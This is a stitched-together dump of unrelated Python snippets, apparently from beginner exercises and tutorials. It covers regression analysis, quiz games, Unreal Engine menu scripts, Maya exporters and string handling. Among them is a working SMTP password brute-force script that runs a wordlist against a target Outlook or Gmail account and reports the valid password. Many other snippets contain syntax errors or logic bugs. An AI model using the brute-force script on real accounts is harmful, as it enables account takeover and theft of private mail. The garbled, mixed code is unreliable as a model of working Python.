sns.heatmap(
    df.corr(), 
    cmap = 'crest', 
    annot = True, 
    annot_kws = {"size": 10}
)

# Univariate regression
# Use statsmodels with statsmodels.formula.api
# model1: an ols regression of observed dependent variable (values of the variable being observed)
# in the input dataset and the output of the (linear) function of the independent variable.
# y = dep_variable, x = ind_variable 

import statsmodels.formula.api as smf

model1 = smf.ols('dep_variable ~ indep_variable', data=df).fit()
print(model1.summary())

# Multivariate Linear Regression
# Using respective z-score (standardize) in order to compare the partial regression coefficients together.

# Variables to compare 
features = [
    "wait_time",
    "delay_vs_expected",
    "number_of_products",
    "number_of_sellers",
    "price",
    "freight_value",
    "distance_seller_customer",
]

# Standardize independent variables.
df_standardized = df.copy()
for f in features:
    mu = df[f].mean()
    sigma = df[f].std()
    df_standardized[f] = df[f].map(lambda x: (x - mu) / sigma)
df_standardized

# Regression Formula
formula = "dep_variable ~ " + ' + '.join(features)
formula

# Perform regression
# Review if statsitically significant review output
import statsmodels.formula.api as smf

model2 = smf.ols(formula = formula, data = df_standardized).fit()
print(model2.summary())

# Visualize the most important feature with a bar plot.
model2.params[1:].sort_values().plot(kind='barh')

# Check model's performance
# Regression performance should not be measured only by its R-squared!
# Always visualize the distribution of the predictions, and especially the residuals.
predicted_dep_variable = model2.predict(df_standardized[features])
residuals = predicted_dep_variable - df_standardized.dep_variable

# Plot the Resduals 
sns.histplot(residuals, kde=True, stat='density', discrete=True)
plt.title('Residuals Density Plot')

# Compute the associated RMSE.
# RMSE values between 0.2 and 0.5 shows that the model can relatively predict the data accurately.
# In addition, Adjusted R-squared more than 0.75 is a very good value for showing the accuracy.
rmse = (residuals**2).mean()**0.5
rmse

# Plot, on the same graph, both the distribution (KDE) of the (actual) dependent_variable 
# and the distribution of the predicted_dependent_variable.
sns.kdeplot(predicted_dep_variable, label='Predicted dep_variable Distribution')
sns.kdeplot(df.dep_variable, label = 'Actual dep_variable Distribution')
plt.title('Distribution of Predicted and Actual Dependant Variable ')

# Using seaborn, plot a regression line of the dep_variable vs.an independant_variable.
# Do plot with sample and whole population.
sample = df.sample(1000, random_state=42)
plt.figure(figsize=(13,5))
plt.suptitle('Regression of dep_variable, 95% Confidence Interval')
plt.subplot(1,2,1)
sns.regplot(x = sample.dep_variable, y= sample.dep_variable, y_jitter=.1, ci=95)
plt.xlim(right=70)
plt.ylim(bottom=0)

plt.subplot(1,2,2)
sns.regplot(x = orders.ind_variable, y= orders.dep_variable, y_jitter=.1, ci=95)
plt.xlim(right=70)
plt.ylim(bottom=0)
user = input("Hi, Im Aidan, what is your name?\n")
 
print(f"Well {user}, nice to meet you, your names kinda weird though.")
print(f"Nevertheless Im here to quiz you! To start, what is 7-4?")
 
 
larisha=input()
 
if(larisha =="3"):
    print("Thats right... Shawty.")
 
if(larisha !="3"):
    print("Seriously? How can you get it wrong, just count your fingers and try again.")
 
 
print("Moving on, What is 8x4?")
 
shawn=input()
 
if(shawn=="32"):
    print("Correct!")
 
if(shawn!="32"):
    print("Try again!")
 
print("Ok another question question what is the meaning of life?")
 
kelp=input()
 
if(kelp=="42"):
    print("Your very cool, its a great book.")
    
elif(kelp=="idk"):
    print("Then live your life in confusion.")
 
elif(kelp=="ethics"):
    print("bummer")
 
elif(kelp=="ass"):
    print("Bet https://www.youtube.com/watch?v=dQw4w9WgXcQ&ab just copy and paste it.")
elif(kelp!="42"):
    print("Im sure your answer was amazing but no.")
    
print("Lets test your ethics.\n")
print("If, there was a dying man who needed $300 to get life saving sugery, and there was an Iron Maiden Concert that cost $300, which one would you choose, the man or the concert?")
 
bobby=input()
if(bobby=="the man"):
	print("Good choice, but you'll miss a great concert.")
 
elif(bobby=="the concert"):
	print("I mean, Iron Maiden is great but seriously you'd let a man die in return? yeesh")
 
elif(bobby!=["the man","the concert"]):
	print("That wasn't an answer, please use either, 'the man' or 'the concert'.")
    
print("Moving on... How many bones are in the human body?")
duke=input=()
 
if(duke=="206"):
	print("Jesus why do you know that, is so specific."
 
if(duke!="206"):
    print("Honestly I didn't know either I dont blame you one bit.")
          
print("Honeslty after that I  don't want to do any more numerical based questions.")
print
print("Lets get back to the easy stuff")
print("What would be the color outcome if I mixed the colors blue and red?")
gonk=input()
if(bobby=="purple"):
	print("Nice one! ")
elif(bobby!="purple"):
	print("Have you never seen a color wheel? oml.")
import numpy as np
from PIL import Image

path = 'res/input.tga'
img = Image.open(path)

data = np.asarray(img.convert('L'))

# -- this will print the resolution of the image in pixels, as numpy converts our image to an
# -- array with dimensions equal to the number of pixels in width / height of the image.
print(data.shape)
from django.utils.decorators import method_decorator
from django.views.decorators.cache import cache_page

class ProductListAPIView(generics.ListAPIView):
    serializer_class = ProductSerializer

    @method_decorator(cache_page(60))
    def dispatch(self, *args, **kwargs):
        return super(ProductListAPIView, self).dispatch(*args, **kwargs)
try:
       # Some Code.... 

except:
       # optional block
       # Handling of exception (if required)

else:
       # execute if no exception

finally:
      # Some code .....(always executed)
def log_params(func):
    def wrapper(*args, **kwargs):
        return_value = func(*args, **kwargs)
        print(f"{args} -> {return_value}")

    return wrapper


@log_params
def summation(a: int, b: int) -> int:
    return a + b


summation(10, 20)
    print(form.data)
    print(form.is_submitted())
    print(form.validate())
    print(form.validate_on_submit())
import os
import sys

sys.path.insert(0, os.path.join(os.path.dirname(__file__), 'External'))
sys.path.insert(0, os.path.join(os.path.dirname(__file__), 'Internal'))

from unreal_menu_demo.setup_menu import setup_menu, setup_menu_entry

setup_menu()
setup_menu_entry()
import unreal
from .constants import tool_menus
from .menu_entry import CustomScriptMenuEntry


# ----------------------------------------------------------------------------------------------------------------------
def get_custom_menu():
    # -- first let's acquire a handle on the new menu we created in the last section.
    return tool_menus.find_menu('LevelEditor.LevelEditorToolbar.MyPythonMenu')


# ----------------------------------------------------------------------------------------------------------------------
def setup_menu():
    # -- now we need a handle on the main level editor toolbar instance.
    # -- we can use ToolMenus' "find_menu" function for this.
    toolbar = tool_menus.find_menu('LevelEditor.LevelEditorToolbar')

    # -- now let's create a new menu entry
    entry = unreal.ToolMenuEntryExtensions.init_menu_entry(
        # owner
        toolbar.menu_name,
        # name
        'MyPythonMenu',
        # label
        'My Python Menu',
        # tooltip
        'This is a custom python menu - you can do cool stuff with it!',
        # command_type
        unreal.ToolMenuStringCommandType.COMMAND,
        # custom command type - we don't need to use this
        '',
        # command string - normally this would be a python command, but we don't need this.
        ''
    )

    # -- now that we've created the entry, we can tell unreal it's supposed to be a combo button
    entry.type = unreal.MultiBlockType.TOOL_BAR_COMBO_BUTTON

    # -- and now we can add the button to the toolbar
    toolbar.add_menu_entry('PythonExtensions', entry)

    # -- now we tell unreal that the button we just created is ACTUALLY a menu.
    # -- this makes it so that when pressed, unreal does not invoke the button's "actions",
    # -- but instead creates a context menu we can populate.
    # -- calling this "register_menu" function helpfully also returns a handle on the menu object itself.
    # -- Note how we have to register the button by its Name property.
    tool_menus.register_menu(
        # the menu name -- this MUST MATCH the name of the combo button we gave
        'LevelEditor.LevelEditorToolBar.MyPythonMenu',
        # parent - we leave this blank in this case
        '',
        # menu type - we just want a normal menu
        unreal.MultiBoxType.MENU,
        # warn_if_already_registered - if False, this will just not do anything if it already exists.
        False
    )

    # -- as a final step we need to tell unreal to refresh all menus
    tool_menus.refresh_all_widgets()


# ----------------------------------------------------------------------------------------------------------------------
def setup_menu_entry():
    entry = CustomScriptMenuEntry()
    entry.name = 'CustomScriptMenuEntry'
    get_custom_menu().add_menu_entry_object(entry)
    tool_menus.refresh_all_widgets()
import unreal


# -- this is a custom overloaded unreal class in python
# -- it inherits ToolMenuEntryScript, which means we can re-implement some key methods.
@unreal.uclass()
class CustomScriptMenuEntry(unreal.ToolMenuEntryScript):

    @unreal.ufunction(override=True)
    def get_label(self, context):
        return 'test'
    
    # -- this is where the real magic happens!
    @unreal.ufunction(override=True)
    def execute(self, context):
        """
        In this method, as a developer, you can run any logic you want from your context menu, and it can have as
        many lines as you want!
        """
        print('Hello World')
for i in range(len(dicts)):
    if dicts[i].get('id') == 2:
        del dicts[i]
l = [dict(zip([1],[x])) for x in range(1,3)]
print(l)


# Output
#[{1: 1}, {1: 2}]
exporter = BasicMayaMeshExporter(options=dict(mesh_name='Sphere001', export_path='my_export_path.fbx'))
exporter.run()
# -- Assuming "base_exporter.py" exists in sys.path
from base_exporter import ExporterBase

# -- import the modules we will need to acquire our mesh, and export it
import pymel.core as pm

class BasicMayaMeshExporter(ExporterBase):

    def validate():
        # -- get all meshes that conform to the name given in the options, under the "mesh_name" key
        mesh = pm.ls(self.options.get('mesh_name'), geometry=True, sl=False)

        # -- fail the export process if no such meshes exist
        if not len(mesh):
            return False

        # -- if they do, continue the export process. This exporter does not enfoce the mesh name to be unique.
        return True
        
    def export():
        # -- acquire the meshes and select them
        meshes = pm.ls(self.options.get('mesh_name'), geometry=True, sl=True)

        # -- perform the export
        pm.exportSelected(self.options.get('export_path'))
exporter = TextureExporter(options=dict(texture='my_texture'))
exporter.run()
class TextureExporter(ExporterBase):
    def validate(self):
        return my_dcc.has_texture(self.options.get('texture'))

    def export(self):
        my_dcc_method.export(self.options.get('texture'))
class ExporterBase(object):
    def __init__(options=None):
    	self.options = options or dict()
import my_dcc

class TextureExporter(ExporterBase):
    def validate(self):
        return my_dcc.has_texture(my_texture)

    def export(self):
        my_dcc_method.export(my_texture)
class ExporterBase(object):
    def validate(self):
        return True

    def export(self):
        raise NotImplementedError

    def run(self):
        if not self.validate():
            return False
        self.export()
class PackerBase(object):
    def process(self, output_file, inputs=None):
    	raise NotImplementedError()
from PIL import Image
import numpy

class RGBAPacker(object):
    def process(self, output_file, inputs=None):
    	# -- we assume "inputs" is a dictionary of image files, with the keys corresponding to the channels they want packing in.
    	inputs = inputs or dict()
    	r = Image.open(inputs.get('mask1')).convert('L')
        g = Image.open(inputs.get('mask2')).convert('L')
        
        # -- our procedurally generated blue channel is the multiplied result of the first and second masks. 
        # -- This is a super simple operation, but you can make this as complex as you like.
        b = numpy.asarray(r) * numpy.asarray(g)
        b = Image.fromarray(b)
        
        output = Image.merge('RGB', r, g, b)
        output.save(output_file)
from PIL import Image

class RGBAPacker(object):
    def process(self, output_file, inputs=None):
    	# -- we assume "inputs" is a dictionary of image files, with the keys corresponding to the channels they want packing in.
    	inputs = inputs or dict()
    	r = Image.open(inputs.get('r')).convert('L')
        g = Image.open(inputs.get('g')).convert('L')
        b = Image.open(inputs.get('b')).convert('L')
        a = Image.open(inputs.get('a')).convert('L')
        
        output = Image.merge('RGBA', r, g, b, a)
        output.save(output_file)
# -- now we tell unreal that the button we just created is ACTUALLY a menu.
# -- this makes it so that when pressed, unreal does not invoke the button's "actions",
# -- but instead creates a context menu we can populate.
# -- calling this "register_menu" function helpfully also returns a handle on the menu object itself.
# -- Note how we have to register the button by its Name property.
sub_menu = tool_menus.register_menu(
    # the menu name -- this MUST MATCH the name of the combo button we gave
    'LevelEditor.LevelEditorToolBar.MyPythonMenu',
    # parent - we leave this blank in this case
    '',
    # menu type - we just want a normal menu
    unreal.MultiBoxType.MENU,
    # warn_if_already_registered - if False, this will just not do anything if it already exists.
    False
)

# -- now we can create a menu entry. This can be done in a variety of ways.
menu_entry = unreal.ToolMenuEntry()
menu_entry.name = 'MyCustomOption'
menu_entry.set_label('My Custom Option')
menu_entry.type = unreal.MultiBlockType.MENU_ENTRY

sub_menu.add_menu_entry('My Custom Section', menu_entry)

# -- as a final step we need to tell unreal to refresh all menus
tool_menus.refresh_all_widgets()
import unreal

# -- first let's acquire a global instance we'll need - ToolMenus
tool_menus = unreal.ToolMenus.get()

# -- now we need a handle on the main level editor toolbar instance.
# -- we can use ToolMenus' "find_menu" function for this.
toolbar = tool_menus.find_menu('LevelEditor.LevelEditorToolbar')

# -- now let's create a new menu entry
entry = unreal.ToolMenuEntryExtensions.init_menu_entry(
    # owner
    toolbar.menu_name,
    # name
    'MyPythonMenu',
    # label
    'My Python Menu',
    # tooltip
    'This is a custom python menu - you can do cool stuff with it!',
    # command_type
    unreal.ToolMenuStringCommandType.COMMAND,
    # custom command type - we don't need to use this
    '',
    # command string - normally this would be a python command, but we don't need this.
    ''
)

# -- now that we've created the entry, we can tell unreal it's supposed to be a combo button
entry.type = unreal.MultiBlockType.TOOL_BAR_COMBO_BUTTON

# -- and now we can add the button to the toolbar
toolbar.add_menu_entry('PythonExtensions', entry)

# -- as a final step we need to tell unreal to refresh all menus
tool_menus.refresh_all_widgets()
import unreal

# -- first let's acquire a global instance we'll need - ToolMenus
tool_menus = unreal.ToolMenus.get()

# -- now we need a handle on the main level editor toolbar instance.
# -- we can use ToolMenus' "find_menu" function for this.
toolbar = tool_menus.find_menu('LevelEditor.LevelEditorToolbar')

# -- now let's create a new menu entry
entry = unreal.ToolMenuEntryExtensions.init_menu_entry(
    # owner
    toolbar.menu_name,
    # name
    'MyPythonMenu',
    # label
    'My Python Menu',
    # tooltip
    'This is a custom python menu - you can do cool stuff with it!',
    # command_type
    unreal.ToolMenuStringCommandType.COMMAND,
    # custom command type - we don't need to use this
    '',
    # command string - normally this would be a python command, but we don't need this.
    ''
)

# -- now that we've created the entry, we can tell unreal it's supposed to be a combo button
entry.type = unreal.MultiBlockType.TOOL_BAR_COMBO_BUTTON

# -- and now we can add the button to the toolbar
toolbar.add_menu_entry('PythonExtensions', entry)

# -- now we tell unreal that the button we just created is ACTUALLY a menu.
# -- this makes it so that when pressed, unreal does not invoke the button's "actions",
# -- but instead creates a context menu we can populate.
# -- calling this "register_menu" function helpfully also returns a handle on the menu object itself.
# -- Note how we have to register the button by its Name property.
sub_menu = tool_menus.register_menu(
    # the menu name -- this MUST MATCH the name of the combo button we gave
    'LevelEditor.LevelEditorToolBar.MyPythonMenu',
    # parent - we leave this blank in this case
    '',
    # menu type - we just want a normal menu
    unreal.MultiBoxType.MENU,
    # warn_if_already_registered - if False, this will just not do anything if it already exists.
    False
)

# -- now we can create a menu entry. This can be done in a variety of ways.
menu_entry = unreal.ToolMenuEntry()
menu_entry.name = 'MyCustomOption'
menu_entry.set_label('My Custom Option')
menu_entry.type = unreal.MultiBlockType.MENU_ENTRY

sub_menu.add_menu_entry('My Custom Section', menu_entry)

# -- as a final step we need to tell unreal to refresh all menus
tool_menus.refresh_all_widgets()
import unicodedata

def strip_accents(s):
    return ''.join(c for c in unicodedata.normalize('NFD', s)
                   if unicodedata.category(c) != 'Mn')
def binarySearch(array, value):
    min_number = 0
    max_number = len(array) - 1

    while min_number <= max_number:
        mid_number = (min_number + max_number) // 2
        if value == array[mid_number]:
            return f"Found {value} at Index {mid_number}"
        elif value < array[mid_number]:
            max_number = mid_number - 1
        else:
            min_number = mid_number + 1
    return "Not Found"


array = [0, 2, 5, 8, 10, 12, 15]
print(binarySearch(array, 12))
f = open("final_list", 'r')
data = ast.literal_eval(f.read())
from sklearn.cross_validation import StratifiedKFold

def load_data():
    # load your data using this function

def create model():
    # create your model using this function

def train_and_evaluate__model(model, data[train], labels[train], data[test], labels[test)):
    model.fit...
    # fit and evaluate here.

if __name__ == "__main__":
    n_folds = 10
    data, labels, header_info = load_data()
    skf = StratifiedKFold(labels, n_folds=n_folds, shuffle=True)

    for i, (train, test) in enumerate(skf):
            print "Running Fold", i+1, "/", n_folds
            model = None # Clearing the NN.
            model = create_model()
            train_and_evaluate_model(model, data[train], labels[train], data[test], labels[test))
>>> l = [-1, 3, 2, 0,0]
>>> [sorted(l).index(x) for x in l]
[0, 4, 3, 1, 1]
class Node:
    def __init__(self, data):
        self.data = data
        self.next = None


class LinkedList:
    def __init__(self):
        self.head = None
        self.last_node = None

    def prepend(self, data):
        new_node = Node(data)
        new_node.next = self.head
        self.head = new_node

    def push(self, data):
        if self.last_node is None:
            self.head = Node(data)
            self.last_node = self.head
        else:
            self.last_node.next = Node(data)
            self.last_node = self.last_node.next

    def insert_after(self, prev_node, data):
        if not prev_node:
            print('Given node not present in the list')
            return
        new_node = Node(data)
        new_node.next = prev_node.next
        prev_node.next = new_node

    def pswap(self):
        temp = self.head
        if temp is None:
            return

        while (temp is not None and temp.next is not None):
            temp.data, temp.next.data = temp.next.data, temp.data
            temp = temp.next.next

    def display(self):
        current = self.head
        while current:
            print(current.data, end=' ')
            current = current.next


llist = LinkedList()
T = int(input())
for x in range(T):
    d = int(input())
    llist.push(d)

llist.display()
llist.pswap()
print()
llist.display()
# convert the 'Date' column to datetime format
df['Date']= pd.to_datetime(df['Date'])
 
# Check the format of 'Date' column
df.info()
#WHILE LOOPS
i=1

while i < 5:
    print(i)
    i+=1
print("\n")    

#FOR LOOPS    
#1
nome="diogo"
for letra in nome:
    print(letra)
print("\n")    
    
#2    
lista=["ola","diogo","teixeira"]
for palavra in lista:
    print(palavra)
print("\n")
 
#3
adjs=["nice", "top", "cool"]
nomes=["pedra","roda","bola"]

for adj in adjs:
    for nome in nomes:
        print(adj,nomes)
print("\n")

#4 (break)
nomes2=["ana","joao","hugo","pedro"]
for nomes in nomes2:
    print(nomes)
    if nomes=="hugo":
        break
print("\n")

#5 (conitnue)
for var in "Geeksforgeeks":
	if var == "e":
		continue
	print(var)

for i in range(1, 11):
	if i == 6:
		continue
	else:
		print(i, end=" ")

 
 
 
 
 
 
 
 
 
 
 
 
 
#IF
nome = input ("Qual o teu nome?\n")

if nome == "Diogo":
    print("Olá, " + nome + ", sê bem vindo.") 
    
#IF + ELSE
if nome == "Diogo":
    print("Olá, " + nome + ", sê bem vindo.") 
else:
    print("Olá, " + nome + ", sai já daqui! Não és bem vindo.")
    
#IF + ELSE (Nested)
#Exemplo 1
nome = input ("Qual o teu nome?\n")

if nome == "Diogo":
    skill=input("Olá, " + nome + ". És capaz de programar?\n")
    if skill=="Sim":
        print("Sê bem vindo!") 
        exit()
    else:
        print("Não tem mal. Sempre podes aprender.")
else:
    print("Olá, " + nome + ", sai já daqui! Não és bem vindo.")
    
    
#IF + ELSE (Nested)   
#Exemplo 2
 preço=140

if preço>400:
    print("Tlmv caro.")
    
elif preço>200:
    if preço>350:
        print("Tlmv a bom preço.")
    elif preço > 300:
        print("Tlmv a excelente preço.")
    else:    
        print("Comprar já!!!")
        
else:
        print("Telemóvel estragado")
        
#Exemplo 2 simplificado
preço=100
        
if preço>=400:
    print("Tlmv caro.")

elif preço>300:
    if 400>preço>=350:
        print("Tlmv a bom preço.")
    else:
        print("Tlmv a excelente preço.")

else:
    print("Tlmv estragado") 
        
 #IF + ELSE (Not Nested)   
 order=input("Que quilhas queres?\n")
    
if order=="performer neo glass":
    price=79
    print("O preço é: " + str(price) + "€")
elif order=="performer neo carbon":
    price=99
    print("O preço é: " + str(price) + "€")
elif order=="performer glass":
    price=120
    print("O preço é: " + str(price) + "€")
else:
    print("Não temos essas quilhas.")
    
    

    
    
#!/usr/bin/python
# Dyrk.org 2016-2017

import smtplib

# Outlook.com
smtp_s   = 'smtp-mail.outlook.com'

# Gmail
# smtp_s = 'smtp.gmail.com'

smtp_p = 587
sender = 'target_adress@hotmail.com'
dico   = 'pwdlist.txt'

with open(dico) as f:
    for password in f:
        password = password.replace('\n', '')
        try:
            m = smtplib.SMTP(smtp_s, smtp_p)
            m.ehlo()
            m.starttls()
            m.login(sender, password)
            print '[OK] => ' + sender + ' : ' + password
            m.close()
            exit()
        except smtplib.SMTPAuthenticationError, e:
            if e[0] == 534:  # Gmail
                print '[OK] => ' + sender + ' : ' + password
                print e
                exit()
            else:
                print 'try ' + password + ' .... err. ' + str(e[0]) \
                    + '   >>>  ' + e[1]

			
# Libraries Section #
from random import randint

# Introduction Section #
print("Welcome to BattleShip! \n")
print("This version only includes single player mode. You battle AI. \n")
print("-----")

print("\nWould you like instructions on how to play? \n yes \n no \n")
response = str(input())
if response == "yes":
    print("⠀")
    print("Here's the basic rundown: \n")
    print("You're an idiot. \n")
elif response == "no":
    print("⠀")
    print("No? All right! \n")

print("----- \n")

# Board Creation Section #
board = []

dimensions = int(input("Enter the width and length you want the board to be: "))

for x in range(dimensions):
  board.append(["O"] * dimensions)

def print_board(board):
  for row in board:
    print(" ".join(row))

print("⠀")
print_board(board)
print()

# AI Battleship Creation Section #
def random_row(board):
  return randint(0, len(board) - 1)

def random_col(board):
  return randint(0, len(board[0]) - 1)

ship_rows = []
ship_cols = []

number_of_ships = int(input("Enter how many ships you want: "))

for ship_row in range(number_of_ships):
    ship_rows.append(random_row(board))

for ship_col in range(number_of_ships):
    ship_cols.append(random_col(board))

# print(ship_rows) # --> for testing
# print(ship_cols) # --> for testing

# Gameplay Section #
print("⠀")
print("-----")
print("⠀")
print("Try and guess the random placement of the ships done by AI. \n")
print("----- \n")

for turn in range(dimensions):
    print("You are currently on turn", turn + 1)
    print()

    print("Remember that rows and columns start from 0 in code. \n")
    guess_row = int(input("Guess Row: "))
    guess_col = int(input("Guess Col: "))
    print("⠀")
 
    if guess_row in ship_rows:
        matching_coord = ship_rows.index(guess_row)
    if guess_col in ship_cols and ship_cols.index(guess_col) == matching_coord:
        if (board[guess_row][guess_col] == "X"):
            print("You guessed that one already.")
            print()
        else:
            print("Congratulations! You sunk one of my battleships!")
            board[guess_row][guess_col] = "X"
            number_of_ships -= 1
            print("There are", number_of_ships, "remaining. \n")
    else:
        if (guess_row < 0 or guess_row > dimensions - 1) or (guess_col < 0 or guess_col > dimensions - 1):
            print("Oops, that's not even in the ocean.")
            print()
        elif(board[guess_row][guess_col] == "X"):
            print("You guessed that one already.")
            print()
        else:
            print("You missed my battleship!")
            board[guess_row][guess_col] = "X"
            print()

    print_board(board)
    print()
    print("----- \n")
    
    if turn == dimensions - 1:
        print("Game Over. \nYou lost, lol.")
        print("You had", number_of_ships, "ships remaining.")
    if number_of_ships == 0:
        print("Game Over. \nYou won! Good job.")
        break
# Search for lines that contain 'From'
import re
hand = open('mbox-short.txt')
for line in hand:
    line = line.rstrip()
    if re.search('From:', line):
        print(line)

# Code: http://www.py4e.com/code3/re01.py
print('Hello, welcome to trivia')

ans = input('Are you ready to play (yes/no)')
score= 0
total_q = 4

if ans.lower() == 'yes':
    ans = input('1. What is the best programming language?')
    if ans.lower == 'python':
        score += 1
        print('Correct')
    else:
        print('Incorrect')
        score -= 1
        

    ans = input('2. What is 2 + 8 + 9 -1')
    if ans == '18':
        score += 1
        print('Correct')
    else:
        print('Incorrect')
        score -= 1


    ans = input('3. What is better, a 1050ti or a 1060 (graphics card)?')
    if ans == '1050ti':
        score += 1
        print('Correct')
    else:
        print('Incorrect')
        score -= 1


    ans = input('4. Who came second in the stanely cup finals?')
    if ans == 'nights' or ans.lower == 'vegas':
        score += 1
        print('Correct')
    else:
        print('Incorrect')
        score -= 1
#WHILE LOOPS
x=0
while x<5:
    print("Not there yet, x=" + str(x))
    x=x+1
print("x="+str(x))    

print("\n")

x=0
while x<8:
    print("Not there yet, x=" + str(x))
    x=x+1
print("x="+str(x))    

print("\n")
#MORE WHILE LOOPS
def attempts(n):
    x=1
    while x<=n:
        print("Attempt" + str(x))
        x+=1
    print("Done")    
attempts(3)
    
    
print("\n")
#INITIALIZING VARIABLES
def count_down(start_number):
    current=3
    while current>0:
        print(current)
        current-=1
    print("zero")
count_down(434) #é indiferente o número daqui   

print("\n")
def count_down(start_number):
    current=6
    while current>0:
        print(current)
        current-=1
    print("zero")
count_down(434) 
# string.split(separator, maxsplit)
	# separator is optional and refers to any whitespace as default. It indicates which separator to use when splitting the string
	# maxsplit is optional and specifies how many splits to do. Default value is -1, whichis "all occurrences"
----
# Below, we try to extract "stephen.marquard" from "From stephen.marquard@uct.ac.za Sat Jan  5 09:14:16 2008".
line = "From stephen.marquard@uct.ac.za Sat Jan  5 09:14:16 2008"
words = line.split() # words = ['From', 'stephen.marquard@uct.ac.za', 'Sat', 'Jan', '5', '09:14:16', '2008']
email = words[1] # email = stephen.marquard@uct.ac.za
pieces = email.split('@') # pieces = ['stephen.marquard', 'uct.ac.za']
print(pieces[1])
---
# setting the maxsplit parameter to 2, will return a list with 3 elements
line = "From stephen.marquard@uct.ac.za Sat Jan  5 09:14:16 2008"
words = line.split(' ', 2)
print(words) # ['From', 'stephen.marquard@uct.ac.za', 'Sat Jan  5 09:14:16 2008']
t = ['zero', 'one', 'two']
x = t.pop(1)
print(t)
# ['zero', 'two']
print(x) #pop() can return the element that was removed. 
# one
----
#If you don’t provide an index, it deletes and returns the last element.
t = ['zero', 'one', 'two']
x = t.pop()
print(t)
# ['zero', 'one']
print(x)
# two
mutable_list = [2, 14, 26, 41, 63]
print(mutable_list)
# [2, 14, 26, 41, 63]
mutable_list[2] = 49 #We change the value in index 2 into '49'
print(mutable_list)
# [2, 14, 49, 41, 63]
if *test* : # A test is an expression that is assessed to either True or False. 
	*block of code* # To be carried out if test is assessed to True
else: 
	*block of code* # To be carried out if test is assessed to False

or #Without optional block of code
if *test* :
	*block of code*  
f = open("C:\\Users\\username\\....\\demofile.txt", "w")
f.write("What if we rewrite the file? Say you were made to be mine. ")
f = open(r"C:\\Users\\username\\....\\demofile.txt")
print(f.read())

#Output
#What if we rewrite the file? Say you were made to be mine.
import random

number_of_doors = 5

# Display welcome messages
print("Welcome to the Goblin Hunt")
print("An award-winning game full of adventure and excitement (!)")

# Get player name
player_name = input("What is your name? ")
print( player_name + ", a goblin is hiding in one of the kitchen cupboards. Do you think that you can find it?")

print("|_|" * number_of_doors)

goblin_position = random.randint(1, number_of_doors)

keep_trying = True

# Main game loop
while keep_trying:
  guessed_position = input("Can you guess where the goblin is hiding? ")
  guessed_position = int(guessed_position)

  if guessed_position == goblin_position:  # If player guesses correctly
    print("Well done. You've found the goblin.")
    keep_trying = False
  else:  # If player's guess is incorrect
    print("No, sorry. The goblin is still hiding somewhere.")
    
print("Thank you for playing. Now get back to work!")
# list_of_names = [...]

# Define your own function for program to look at the first letter of that name and decide whther to write name into a list.
def find_names_starting_with(letter, names):
    result = [] # Create a variable called result and give it an empty list
    for name in names: # Use for loop to repeat following code for every names in given list
        if name[0] == letter: # Change the letter into desired first letter
            result.append(name) # Add name with desired first letter to the end of list

    return result # Return statements sends data from the function back to the main program.

# Define your own function for program to filter the names in the list based on the number of letters in the name.
def find_names_of_length(length, names): 
    result = [] # Create a variable called result and give it an empty list
    for name in names:
        if len(name) == length: # Function len() returns the length of any data type that’s a sequence. When you use it on a list, it will return the number of items in the list, and when you use it on a string, it returns the number of characters.
            result.append(name) # Add name with desired number of letters to the end of list

    return result 

# Insert your desired first letter in example shown below
# names_e = find_names_starting_with("E", list_of_names)
names_e = find_names_starting_with("E", list_of_names)
# Insert desired number of letters in the name in example shown below
# names_e_and_6 = find_names_of_length(6, names_e)
names_e_and_6 = find_names_of_length(6, names_e)

# Finally, print the two lists.
print(names_e)
print(names_e_and_6)
file_name = input('Enter the file name:  ')
  try:
      file_handler = open(file_name)
  except:
      print('File cannot be opened:', file_name)
      quit()
handler = open('textfile.txt')
for line in handler:
    line = line.rstrip()
    if not '@uct.ac.za' in line : 
        continue
    print(line)
handler = open('textfile.txt')
for line in handler:
    line = line.rstrip() #rstrip() method removes characters at the end a string. 
    if not line.startswith('From:') : #For this case, we remove any lines between lines staring with "From:""
        continue
    print(line)
handler = open('textfile.txt')
for line in handler:
    if line.startswith('From:') : #State your criteria. For example, the line must start with "From:"
        print(line)
              
              
handler = open('textfile.txt')
count = 0
for line in handler: #for loop reads each line
    count = count + 1
print('Line Count:', count)
print("Hello, World!")

####################################

if 5 > 2:
  print("Five is greater than two!")
  
  

if 5 > 2:
  print("Five is greater than two!")

##################################

x = 5
y = "Hello, World!"

print(x)
print(y)

#This is a single line comment

"""
This is a comment
written in
more than just one line
"""

#################################

x = 5
y = "John"
print(x)
print(y)

##############################

x = 4       # x is of type int
x = "Sally" # x is now of type str
print(x)

#############################

x = str(3)    # x will be '3'
y = int(3)    # y will be 3
z = float(3)  # z will be 3.0

print(x)
print(y)
print(z)

############################

x = 5
y = "John"
print(type(x))
print(type(y))

############################

x = "John"
# is the same as
y = 'John'

print(x)
print(y)

###########################

a = 4
A = "Sally"
#A will not overwrite a

print(a)
print(A)

#########################

myvar = "John"
my_var = "John"
_my_var = "John"
myVar = "John"
MYVAR = "John"
myvar2 = "John"

print(myvar)
print(my_var)
print(_my_var)
print(myVar)
print(MYVAR)
print(myvar2)

########################


x = "My name is Sadman + Samin = SadManSamIN. What is that you intend to do?"
print(x)

############################

#Multi word variable name case

myVariableName = "Camel"
MyVariableName = "Pascal"
my_variable_name = "Snake"

print(myVariableName) 
print(MyVariableName)
print(my_variable_name)

#############################

#Multiple variables at once.

x, y, z = "I", "am", "Sam"
print(x)
print(y)
print(z)
 
"""
 we can use print command in the same line using
 comma(,) like this.
"""
 
print(x), print(y)

#####################

#Assigning same value to multiple variables at once.

x = y = z = "My_Variable"
print(z)
print(y)
print(x)

####################

#Unpacking collection

Fruits = ["Orange", "Apple", "Anhilation"]

x, y, z = Fruits
print(x)
print(y)
print(z)

#Packing tuple

fruits = ("Apple", "Orange", "Cherry")
print(fruits)

#Unpacking tuple
(green, yellow, red) = fruits
print(green)
print(yellow)
print(red)
import os

# Function to rename multiple files
def main():
    i = 0
    path = r"path_name"
    for filename in os.listdir(path):
        dst = str(i).zfill(4) + ".jpg"
        src = os.path.join(path, filename)
        dst = os.path.join(path, dst)
        os.rename(src, dst)
        i += 1
    return print("{} FILES COMPLETADOS".format(len(os.listdir(path))))


# Driver Code
if __name__ == "__main__":

    # Calling main() function
    main()
df[df.columns[df.columns.str.contains(pat = 'WORDABC9')]]
   WORDABC9N123  WORDABC99N123
0            13             16
1            14             17
2            15             18

df[df.columns[df.columns.str.contains(pat = 'WORDABC9\\b')]]
Empty DataFrame
Columns: []
Index: [0, 1, 2]
df_sets[df_sets['year'] == 1949] # filter a complete data based on specific criteria

df_sets.sort_values('year', ascending=True).head() # find first year in data

